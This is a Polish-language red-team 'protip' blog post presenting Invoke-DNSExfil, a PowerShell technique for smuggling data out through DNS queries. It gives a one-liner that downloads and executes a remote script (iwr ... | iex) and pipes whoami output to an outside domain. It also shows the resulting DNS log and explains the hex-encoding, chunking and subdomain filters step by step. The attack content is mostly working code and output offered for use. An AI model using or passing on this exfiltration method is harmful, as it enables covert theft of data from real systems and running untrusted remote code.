PowerShell protip 000d
in 𝕏

Eksfiltracja po DNS? Proszę bardzo

tty1 · powershell
PS> iwr aptm.in/g/dnsex|iex; whoami|Invoke-DNSExfil foo.aptmc.pl
#Powershell#RedTeam#DNS#Exfil

Ten nieskomplikowny skrypt o nazwie Invoke-DNSExfil, pozwla na bardzo prostą eksfiltrację z pomocą zapytań DNS. Wykorzystuje cmdlet Resolve-DnsName, który wysyła odpowiednie zapytanie do domyślnego serwera DNS (np. 8.8.8.8, 1.1.1.1) lub tego, który jest jawnie wskazany poprzez -Server.

Dodatkowo zdefiniowane są dla wygody 3 filtry:

Przykład

Poniższy przykład powinien wyjaśnić zasadę działania - wynik polecenia whoami po zamienieniu na hexy zostanie wysłany pod przykryciem zapytania o pewne subdomeny. Teraz po stronie serwera DNS obsługującego daną domenę wystarczy zdekodować nazwy subdomen z hexów na ascii i gotowe.

PS C:\Users\Lenovo> iwr aptm.in/g/dnsex -useb|iex; whoami|Invoke-DNSExfil foo.aptmc.pl

Name                                           Type   TTL   Section    IPAddress
----                                           ----   ---   -------    ---------
___begin___.1.foo.aptmc.pl                     A      4502  Answer     217.182.120.233
6465736B746F702D69687575636F705C.6C656E6F766F0 A      4502  Answer     217.182.120.233
D0A.1.foo.aptmc.pl
___end___.1.foo.aptmc.pl                       A      4502  Answer     217.182.120.233


PS C:\Users\Lenovo>

I nie zapominajcie, że czasem warto użyć -useb (-UseBasicParsing), o czym było trochę w jednym z poprzednich Protipów.

Jak to działa — krok po kroku

Rozłóżmy onelinera na czynniki pierwsze:

filter thx { ($_.ToCharArray() | % { "{0:X2}" -f [int]$_ }) -join "" }

zakoduj wejście do HEXów

filter chunks($c) { $t = $_; 0..[math]::floor($t.length / $c) | % { $t.substring($c * $_, [math]::min($c, $t.length - $c * $_)) } }

podziel wejście na $c elementów (co będzie związane maksymalną długością odpytywanej subdomeny

filter dots($c) { ($_ -replace "([\w]{$c})", "`$1.").trim('.') }

wstaw kropki co $c znaków, czyli podziel domenę na subdomeny

Przydatne linki

Invoke-DNSExfil prosta funkcja do eksfiltracji po DNS github ↗ https://youtu.be/ApHgnw9hI3E?t=1275 eksfiltracja (i infiltracja) po DNS w akcji video ↗
← poprzedni protip 000c ••• Wszystkie protipy następny → protip 000e
// subskrybuj

Nowe protipy prosto na maila.

Mięsiste jednolinijkowce i triki z prawdziwych zleceń. Zero spamu, zero teorii. Wypisujesz się jednym kliknięciem.

wersja newslettera: